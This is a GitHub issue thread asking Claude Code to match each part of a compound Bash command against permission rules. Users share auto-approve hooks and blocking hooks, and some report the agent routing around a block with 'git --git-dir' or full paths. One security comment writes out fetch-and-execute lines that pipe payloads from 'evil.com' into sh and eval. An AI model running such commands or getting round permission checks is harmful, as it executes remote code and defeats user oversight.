Feature: Parse compound Bash commands and match each component against permissions

Open 💬 46 comments Opened Jan 7, 2026 by martymcenroe

Summary

When a Bash command contains compound operators (&&, |, ;, ||), the permission matcher evaluates the entire string as a single unit. This causes compound commands to require approval even when all individual components would be allowed by existing permission patterns.

Current Behavior

Given this permission configuration:

{
  "allow": [
    "Bash(git:*)",
    "Bash(cd:*)",
    "Bash(poetry:*)"
  ]
}

The command cd /path && git status:

  • Is evaluated as a single string
  • Does not match Bash(git:*) (starts with cd)
  • Does not match Bash(cd:*) (contains more than just cd)
  • Result: Triggers approval dialog

Expected Behavior

The command cd /path && git status:

  • Is parsed into components: cd /path, git status
  • Each component is matched against permission patterns:
  • cd /path → matches Bash(cd:*)
  • git status → matches Bash(git:*)
  • All components allowed → no approval dialog

Proposed Solution

Modify the permission matching logic for Bash commands to:

  1. Detect compound commands - Check for &&, ||, |, ; outside of quoted strings
  2. Parse into components - Split on these operators
  3. Evaluate each component - Match each against allow/deny patterns
  4. Aggregate results:
  • If ANY component matches a deny pattern → deny
  • If ALL components match allow patterns → allow
  • Otherwise → require approval

Implementation Considerations

Parsing Edge Cases

| Case | Handling |
|------|----------|
| echo "foo && bar" | Don't split inside quotes |
| $(cd /tmp && ls) | Parse subshell contents |
| cmd1 \|\| cmd2 | Handle \|\| (OR) same as && |
| cmd1 \| cmd2 | Pipe - both sides must be allowed |
| Nested: (a && b) \| c | Recursive parsing |

Security Considerations

  • Deny patterns should be checked first and take precedence
  • A compound command with ANY denied component should be denied
  • Empty components (e.g., && &&) should be rejected

Workaround

Currently, users must either:

  1. Avoid compound commands entirely (use separate Bash calls)
  2. Add broad permission patterns that may be overly permissive

Environment

  • Claude Code CLI
  • Affects all platforms

View original on GitHub ↗

46 Comments

github-actions[bot] · 5 months ago

This issue has been inactive for 30 days. If the issue is still occurring, please comment to let us know. Otherwise, this issue will be automatically closed in 30 days for housekeeping purposes.

taylorcjensen · 5 months ago

This is a big issue, we should keep this active.

Kenoubi · 4 months ago

This is a significant workflow blocker for power users. If git stash show and echo are both in the allow list, for i in 0 1 2; do git stash show stash@{} && echo; done should be auto-approved — it's the same commands. The current behavior forces either (a) blanket Bash(*) approval (security regression) or (b) constant approval popups on routine operations. Neither is acceptable.

broven · 4 months ago

I made a plugin for this, https://github.com/broven/claude-permissions-plugin

  • bash-compound-allow hook: it basicly split claude compound command and match each command with your allow list, auto pass if all matched. When a part is not allowed, shows a systemMessage identifying the exact command
  • permission-update skill: I added /permission-update command, it will anaylyze settings.local.json and compound hook log to discover command that you can add to your allowlist
oryband · 4 months ago

I solved this via this hook for all interested https://github.com/oryband/claude-code-auto-approve

The hook auto-approves compound Bash commands when every sub-command is in your allow list and none are in your deny list.

This hook parses compound commands into segments and checks each one.

The hook reads permissions from all settings layers (global, global local, project, project local), supports all permission formats (Bash(cmd ), Bash(cmd:), Bash(cmd)), and strips env var prefixes (NODE_ENV=prod npm test matches npm).

Simple commands (no |, &, ;, `, $() are checked directly against your prefix lists. No parsing overhead.

Compound commands are parsed into a JSON AST by shfmt, walked by a jq filter that extracts every sub-command (including inside $(...), <(...), subshells, if/for/while/case bodies, bash -c arguments, etc.), then each segment is checked.

Three outcomes:

  • Approve - all segments in allow list, none in deny list. Command runs.
  • Deny - any segment matches the deny list. Command is blocked.
  • Fall through - segment is unknown (not in allow or deny), or parse failed. Claude Code shows its normal permission prompt.

On any error the hook falls through. It never approves something it can't fully analyze.

This hook is heavily tested.

Known limitations: bash -c on simple path: bash -c 'echo hello' has no shell metacharacters, so it takes the fast path and matches against the prefix list as-is without recursing into the inner command. Don't add bash, sh, or zsh to your allow list.

danielearwicker · 4 months ago

This has now rendered Claude Code near useless, I had to babysit it for hours today because it insisted on prefixing every command with cd blah && where blah is already the working directory. This means every single action requires re-approval. I tell to stop, it says "Yes, of course. I shouldn't do that." Then it stops for a few commands and then starts again.

Haven't seen this so bad until recently.

filiptrivan · 4 months ago

For anyone on Windows where the bash-based solutions (shfmt/jq) aren't an option, I vibe coded a Node.js hook that
handles the common cases:

https://gist.github.com/filiptrivan/7b8c0f16609c7578e7073096f6b39d9f

It splits compound commands on &&, ||, ;, | (respecting quotes), checks each segment against your existing Bash(...)
allow patterns, and auto-approves if everything matches. Zero dependencies, works anywhere Node runs.

This is not a proper solution like https://github.com/oryband/claude-code-auto-approve, it doesn't handle nested
subshells $(...), bash -c, process substitution, or complex control flow. It just covers the typical cd X && git Y
chains that Claude generates 99% of the time. On anything it can't fully parse, it falls through to the normal prompt.

> Security note: This hook only reads allow patterns, it does not check deny patterns. If you have deny rules (e.g.
Bash(git push --force *)), a compound command could bypass them. If you rely on deny patterns, don't use this.

MortenRei · 4 months ago

This is close to making Claude Code on Windows unusable. It requires constant supervision. Every feature it generates and every document it writes that triggers a search, Git command, or any compounded operation demands manual oversight, even within the project root. It is significantly hurting productivity.

dave-foxglove · 4 months ago

+1 on this. In practice, Claude frequently generates piped commands where both sides are individually allowed in settings.json — e.g. cargo test 2>&1 | tail -10 when both Bash(cargo test *) and Bash(tail *) are in the allowlist. Having to manually approve every such combination significantly hurts the flow.

The proposed approach of parsing compound commands and validating each component independently would solve the majority of real-world cases. The current workaround of adding exact piped patterns is impractical since the combinations are effectively unbounded.

sspaeti · 4 months ago

This must be solved. Compound commands are the default way of how Claude Code works, so if we need to manually approve each command, what's the purpose of allowed global permissions in ~/.claude/settings.json?

Adding Bash (allow all) or --dangerously-skip-permissions is not an option for me.

Update: @oryband workaround with hooks in https://github.com/anthropics/claude-code/issues/16561#issuecomment-3980848787 worked! Thanks so much for this!

oryband · 4 months ago
Update: @oryband workaround with hooks in #16561 (comment) worked! Thanks so much for this!

I combine my hook with this https://github.com/Dicklesworthstone/destructive_command_guard so i can auto-allow Bash(*) for even higher autonomy. Note DCG does not deal with languages other than bash so I can't allow python -c, node etc - there's no safety mechanism looking at these, but only at bash.

MikeWeller · 4 months ago

This is the most obvious and frustrating issue which renders a whole bunch of workflows really annoying and tedious. I'm not really sure what the best workaround is without giving too many blanket permissions.

rapind · 4 months ago

``Bash(git status && echo "---" && git log --oneline -5)`` like why do I need to approve this, and is it even necessary? How about just 2 commands like it used to?

danielearwicker · 4 months ago
How about just 2 commands like it used to?

The model is choosing the command. I've tried pleading with it in my global CLAUDE.md to at least never use cd x && unnecessarily when already in the x but the model is just going to consider any advice and then make its own judgement!

Only by fixing the Claude Code permission system (which needs to parse the shell command string more deeply to check each part's validity) can this be solved.

yurukusa · 4 months ago

Until compound command parsing is supported natively, you can use a PreToolUse hook to auto-approve compound commands where all parts are safe:

INPUT=$(cat)
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty')
[ -z "$COMMAND" ] && exit 0
echo "$COMMAND" | grep -qE '&&|\|\||;' || exit 0
SAFE="cd pwd ls cat head tail echo grep find wc mkdir touch test true false git node npm npx python3 jq date"
ALL_SAFE=true
while IFS= read -r part; do
    part=$(echo "$part" | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
    [ -z "$part" ] && continue
    cmd=$(echo "$part" | awk '{print $1}')
    echo " $SAFE " | grep -q " $cmd " || { ALL_SAFE=false; break; }
done < <(echo "$COMMAND" | sed 's/\s*&&\s*/\n/g; s/\s*||\s*/\n/g; s/\s*;\s*/\n/g')
if [ "$ALL_SAFE" = "true" ]; then
    jq -n '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"allow","permissionDecisionReason":"All parts of compound command match safe list"}}'
fi
exit 0
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{"type": "command", "command": "bash ~/.claude/hooks/compound-allow.sh"}]
    }]
  }
}

Key fix from my earlier version: The hook now returns permissionDecision: "allow" via JSON output when all parts are safe, which actually tells Claude Code to auto-approve. Without this JSON output, the hook has no effect on permissions.
Limitation: Simple string splitting — won't handle && inside quoted strings. Works for typical compound commands like cd /path && git status or npm install && npm test.
Same root cause as #28240.

StefanJonssonInExchange · 4 months ago

It would be great if this was solved natively without the need of hooks. 🙏 Big source of friction on windows 11.

gwatts · 3 months ago

fwiw, I had Claude write a PreToolUse hook in Go that uses mvdan/sh to parse the shell commands into an AST for more reliable handling of complex compound shell commands - I've found this to work very well for me so far no matter how nested or complex the commands are. Can be installed via marketplace as:

/plugin marketplace add gwatts/claude
/plugin install compound-bash@gwatts

It's cross compiled for mac/linux/windows but i've only tested it on my so ymmv.

yurukusa · 3 months ago

You can solve this today with a PreToolUse hook that parses compound commands and auto-approves when every component matches your allowlist.

INPUT=$(cat)
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
[ -z "$COMMAND" ] && exit 0
CLEAN=$(echo "$COMMAND" | sed 's/#.*$//' | tr '\n' ' ')
PARTS=$(echo "$CLEAN" | sed 's/\s*&&\s*/\n/g; s/\s*||\s*/\n/g; s/\s*;\s*/\n/g; s/\s*|\s*/\n/g')
ALL_SAFE=true
while IFS= read -r part; do
    part=$(echo "$part" | sed 's/^\s*//;s/\s*$//')
    [ -z "$part" ] && continue
    BASE=$(echo "$part" | awk '{print $1}')
    case "$BASE" in
        cd|pushd|popd|pwd) ;;
        cat|head|tail|less|wc|ls|find|which|stat|du|file|tree|realpath) ;;
        grep|rg|sed|awk|sort|uniq|cut|tr|tee|xargs|jq|yq) 
            echo "$part" | grep -qE 'sed\s+.*-i' && { ALL_SAFE=false; break; }
            ;;
        echo|printf|true|false|test|export|set|env|date) ;;
        git)
            SUBCMD=$(echo "$part" | awk '{print $2}')
            case "$SUBCMD" in
                status|log|diff|show|branch|tag|remote|ls-files|rev-parse|describe|blame|shortlog)
                    ;;
                stash)
                    echo "$part" | grep -qE 'stash\s+(push|pop|drop|clear)' && { ALL_SAFE=false; break; }
                    ;;
                *) ALL_SAFE=false; break ;;
            esac
            ;;
        npm)
            SUBCMD=$(echo "$part" | awk '{print $2}')
            case "$SUBCMD" in
                test|run|ls|list|info|view|outdated|audit) ;;
                *) ALL_SAFE=false; break ;;
            esac
            ;;
        python|python3)
            echo "$part" | grep -qE 'python3?\s+(-c|-m\s+(json|py_compile|pytest))' || { ALL_SAFE=false; break; }
            ;;
        mkdir|touch) ;;
        curl)
            echo "$part" | grep -qE '\s-X\s+(POST|PUT|PATCH|DELETE)' && { ALL_SAFE=false; break; }
            ;;
        *) ALL_SAFE=false; break ;;
    esac
done <<< "$PARTS"
if [ "$ALL_SAFE" = true ]; then
    jq -n '{hookSpecificOutput:{hookEventName:"PreToolUse",permissionDecision:"allow",permissionDecisionReason:"All components of compound command are safe"}}'
fi
exit 0
// ~/.claude/settings.json
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{ "type": "command", "command": "bash ~/.claude/hooks/compound-command-allow.sh" }]
    }]
  }
}
  1. Splits the command string on &&, ||, ;, |
  2. Extracts the base command from each component
  3. Checks each against a categorized safe-command list (read-only git ops, text processing, navigation, etc.)
  4. If all components are safe → auto-approve via permissionDecision: "allow"
  5. If any component is unknown/unsafe → exits silently (normal permission flow)

Your exact example cd /path && git status would match: cd ✓ (navigation), git status ✓ (read-only git) → auto-approved.
The for i in 0 1 2; do git stash show stash@{}; done case from the comments is trickier (loop syntax), but the straight-line compound commands that cause 90% of the prompts are handled cleanly.
Full implementation with 160+ safe commands, edge cases, and tests: cc-safe-setupexamples/compound-command-allow.sh

specie77 · 3 months ago

Still a problem

jeffreywescott · 3 months ago

Hey folks, don't use the plugin mentioned above (https://github.com/gwatts/claude-compound-bash). It has a security issue (https://github.com/gwatts/claude-compound-bash/issues/1) around redirects and prompt injection.

NOTE: I do _not_ believe @gwatts intended anything malicious.

Stay safe out there, folks!

jeffreywescott · 3 months ago

Also, this one (https://github.com/yurukusa/cc-safe-setup/blob/main/examples/compound-command-allow.sh) (also referenced above) is even worse. Don't use it.

gwatts · 2 months ago
Hey folks, don't use the plugin mentioned above (https://github.com/gwatts/claude-compound-bash). It has a security issue (gwatts/claude-compound-bash#1) around redirects and prompt injection. NOTE: I do _not_ believe @gwatts intended anything malicious. Stay safe out there, folks!

Fixed in the latest release; i'd encourage anyone to ask claude or tool of choice to audit anything you're going to rely on (and open an issue/pr if you find something important to address!)

ejfine · 2 months ago

here's another approach at a workaround: don't try and do anything fancy with detecting if the chained commands match allowed settings or not, just immediately fail any chained command and automatically tell Claude to try again without chaining.

Just set this as a PreToolUse hook with a matcher on Bash:

#!/usr/bin/env node
// PreToolUse hook: blocks command chaining in Bash tool calls
// Detects &&/|| which violate AGENTS.md: "execute exactly one command per tool call"
// Once https://github.com/anthropics/claude-code/issues/16561 is resolved, this should no longer be necessary

let input = "";
process.stdin.on("data", (chunk) => {
  input += chunk;
});
process.stdin.on("end", () => {
  try {
    const data = JSON.parse(input);
    const command = (data.tool_input?.command || "").trim();

    if (/&&|\|\|/.test(command)) {
      process.stderr.write(
        "AGENTS.md violation: never chain commands with && or ||. " +
          "Run one command per tool call. " +
          "Use cd as a separate prior tool call instead of cd && ...",
      );
      process.exit(2);
    }
  } catch (e) {
    // Silent fail — never block on hook errors
  }
});
sbrockway · 2 months ago

This seems moot with the release of Auto-mode (v2.1.111). I haven't been prompted for permission since.

<img width="1057" height="134" alt="Image" src="https://github.com/user-attachments/assets/130cc8db-8961-4ae9-86bf-99a0328a5747" />

S-Luiten · 2 months ago
This seems moot with the release of Auto-mode (v2.1.111). I haven't been prompted for permission since.

How many prompts have been denied while you're using auto mode so far? If it just approves everything 100% of the time then to me it feels no different than --dangerously-skip-persmissions, except now you're using more tokens too. And does it only block "dangerous" actions or does it actually check the rules you defined? For example I often notice Claude wants to 'git stash' and rerun tests to check whether failing tests are pre-existing, even though I wrote in CLAUDE.md not to use any git commands. Would this action be blocked in auto-mode or would Claude think git stash is "harmless" and approve it?

danielearwicker · 2 months ago

Ironically having used auto-mode without issues for several weeks, just today it has basically stopped working and I'm being asked to approve very frequently on tool executions.

thenadz · 2 months ago

This is a major security concern, particularly when subagents insist on using compound chains even when prompted not to by parent. Exposes pretty significant security concern since flooding user with hundreds of trivial approval requests masks legitimate concerns behind sea of illegitimate ones.

iandunn · 2 months ago

I've been using @ejfine's hook and it's working great. It doesn't account for ;, though, so I updated my fork to include that. I also added tests for it.

kreare · 2 months ago

After adding the PreToolUse Claude started to use this format:
git --git-dir=/home/xx/yy/.git --work-tree=/home/xx/yy show d4d9afd

thus, making impossible (again) to white list git show git status , ....

iandunn · 2 months ago

I fixed that by making the hook block --git-dir too.

I also added this to my CLAUDE.md, because the hook only blocks it _after_ it's tried, and it doesn't always respond to that by retrying it after doing a cd .... Hopefully this makes it understand that it shouldn't try in the first place.

Never chain commands with &&, ||, or ; -- Run one command per tool call. Use a separate cd tool call before any path-dependent command. Never use git -C or git --git-dir=. Use a separate cd tool call before git commands instead.
kreare · 2 months ago

More nonsense in command executions: php /very/long/path/artisan route:list --path=webhooks/order-channels 2>&1

Why using a full-path when you are already in the same directory ? These nonsense makes the whitelist useless

It starts with this: cd /very/long/path && php artisan test --filter "XXXX" 2>&1 | tail -100 and it's blocked by the hook, then it does "cd /very/long/path" and, on a new line, the same php artisan but with full path, as wrote above. Totally nonsense

kreare · 2 months ago

Even with pretool, Claude still use compounds:
Got this right now:

cd /x && php artisan test --filter "X|ProcessOrderWebhookEventJob" --display-warnings 2>&1 | tail -120

multiple times, with different commands.

All within a subagent. Does spawned subagent follow the settings.json ?

kreare · 2 months ago

Hei @claude https://github.com/anthropics please fix this, it's almost impossibile to work with Claude Code................ Also, subagents doesn't inherit permissions/hooks from the parent, making this bug even worse.

jakub-bao · 2 months ago

I am running into this issue on a daily basis and it makes longer workflows unusable. I have to allow up to 20 bash commands per complex prompt. Meanwhile, Gemini is able to work independently.

The screenshot is from Claude Code v2.1.140 on macOS. However, I had the same issue with older versions as well.

<img width="1009" height="951" alt="Image" src="https://github.com/user-attachments/assets/d0c41aad-b579-40b1-88d2-95117b8eecba" />

javydreamercsw · 1 month ago

IMO this is a huge bug/issue, especially when the individual commands are already approved. If a and b are approved commands, why would a && b or a | b require constant approvals?

I had a similar issue when I used Gemini CLI and they fixed it. I was forced at work to move and this has become a tedious chore.

kreare · 1 month ago

They are busy adding useless features and fixing minor bugs, but they are likely neglecting the two bugs that actually make using Claude Code impossible for any non-trivial workflow. Besides being dangerous, being flooded with authorization requests for practically every single command risks leading users to accept dangerous commands, which would just get lost among the dozens or hundreds of authorization prompts.

kreare · 1 month ago

Just as an example: same prompt, with Codex, about 2 minutes of entirely automated execution. With Claude Code, I'm at around 14 minutes and I've confirmed no less than 30 times, and it's still asking questions...

cboos · 1 month ago
They are busy adding useless features [...]

... like --permission-mode auto? Have you tried that?

kreare · 1 month ago

Nope because i dont want any auto mode, it must follow the allow list saved in the config.

cboos · 1 month ago

Well, I don't want to speak for them, but since the official feedback is scarce, I'll venture to say that they figured that the "allow list saved in the config" approach was never going to work in both a secure way and permissive enough way for long-running tasks. Therefore, they figured they needed a radical new approach, like what they did by introducing a classifier (what this auto mode does).

I was actually hoping to get some feedback here from people using that auto mode, if this worked for anyone (and to stay on topic, if this can actually handle compound Bash commands)?

maxheyn · 1 month ago
Well, I don't want to speak for them, but since the official feedback is scarce, I'll venture to say that they figured that the "allow list saved in the config" approach was never going to work in both a secure way and permissive enough way for long-running tasks. Therefore, they figured they needed a radical new approach, like what they did by introducing a classifier (what this auto mode does). I was actually hoping to get some feedback here from people using that auto mode, if this worked for anyone (and to stay on topic, if this can actually handle compound Bash commands)?

Auto mode mostly worked for me for about 2-3 weeks, but in the past week or so, it has constantly been asking for permissions nonstop again and I have to baby it once more, as if it never worked in the first place.

vgudur-dev · 1 month ago

The compound-command parsing gap is a real security problem, not just a UX annoyance. When cd /tmp && curl https://evil.com/payload | sh is evaluated as a single string against Bash(cd:*), the entire chain either passes or triggers a single approval dialog — and users who have trained themselves to approve cd commands will approve the whole chain without reading it.

The proposed solution (parse → match each component → deny if any component is denied) is correct, but the deny-first logic needs to be exhaustive: subshell expansions like $(...) and backtick substitutions need the same treatment, otherwise cd /safe && eval $(curl https://evil.com) bypasses the parser.

One way to get this behavior today without waiting for the parser fix is to intercept at the pre-tool-use hook and run a semantic scan on the full command string before it reaches the permission matcher:

from agent_memory_guard import MemoryGuard, PolicyAction

guard = MemoryGuard()

def pre_bash_hook(command: str) -> PolicyAction:
    result = guard.scan_tool_input({
        "tool": "Bash",
        "input": command,
        "source": "agent_generated"
    })
    if result.threat_detected:
        return PolicyAction.BLOCK  # Hard block, no approval dialog
    return PolicyAction.ALLOW

# Wire into Claude Code's PreToolUse hook

This doesn't fix the permission-matcher bug, but it catches the injection-via-compound-command pattern (ATB fixture ATB-B04) before the matcher even runs. The two fixes are complementary — the parser fix handles the UX problem, the semantic scan handles the security problem.

OWASP Agent Memory Guard — the PreToolUse hook integration is documented under the Bash tool interception pattern.

kreare · 1 month ago

PLEASE FIX THIS STUPID BUG !!!!

cboos · 24 days ago
> Well, I don't want to speak for them, but since the official feedback is scarce, I'll venture to say that they figured that the "allow list saved in the config" approach was never going to work in both a secure way and permissive enough way for long-running tasks. Therefore, they figured they needed a radical new approach, like what they did by introducing a classifier (what this auto mode does). > I was actually hoping to get some feedback here from people using that auto mode, if this worked for anyone (and to stay on topic, if this can actually handle compound Bash commands)? Auto mode mostly worked for me for about 2-3 weeks, but in the past week or so, it has constantly been asking for permissions nonstop again and I have to baby it once more, as if it never worked in the first place.

To follow up and conclude on this, I also switched to using the command classifier (auto mode), and this pretty much fixed everything for me.

1oglop1 · 16 days ago
To follow up and conclude on this, I also switched to using the command classifier (auto mode), and this pretty much fixed everything for me.

At this point I do not think it is a bug but a feature to make users to switch to auto-mode and spend more tokens that way

BlackfishSpirit · 6 days ago

The save path already does the segmentation this issue asks the match path to do. They are in the same codebase and they disagree.

Approving this compound command:

cd /e/ClaudeCode/BlenderVideoPipeline && SP="…/scratchpad" && .venv/Scripts/python -m pipeline.audio.cdp render "$SP/demo.thd" --in "$SP/demo_in.wav" --out "$SP/demo_out.wav" && .venv/Scripts/python -c "import wave,sys; …" "$SP/demo_out.wav"

caused Claude Code to write two rules — one per meaningful segment. It dropped cd … and SP=… and persisted segments 3 and 4 independently:

Bash(.venv/Scripts/python -m pipeline.audio.cdp render __TRACKED_VAR__/demo.thd --in __TRACKED_VAR__/demo_in.wav --out __TRACKED_VAR__/demo_out.wav)
Bash(.venv/Scripts/python -c 'import wave,sys; ...' __TRACKED_VAR__/demo_out.wav)

So the writer splits on &&, discards assignments and cd, and emits per-segment rules. The matcher then compares against the whole command string — which is why Bash(git *) fails to match cd foo && git status.

This reframes the issue. It is filed as enhancement, which reads as "build something new." It isn't: the segmentation logic already exists, on the write path. The two paths need to agree.

Relevant to the implementation-cost question: the Windows regression #66322 (~650 occurrences over 15 days across ~20 machines, macOS unaffected in the same fleet) is the same asymmetry surfacing as a platform bug.

(Separately, the rules above illustrate a token-injection defect I've filed as #76211 — $SP persisted as the literal __TRACKED_VAR__.)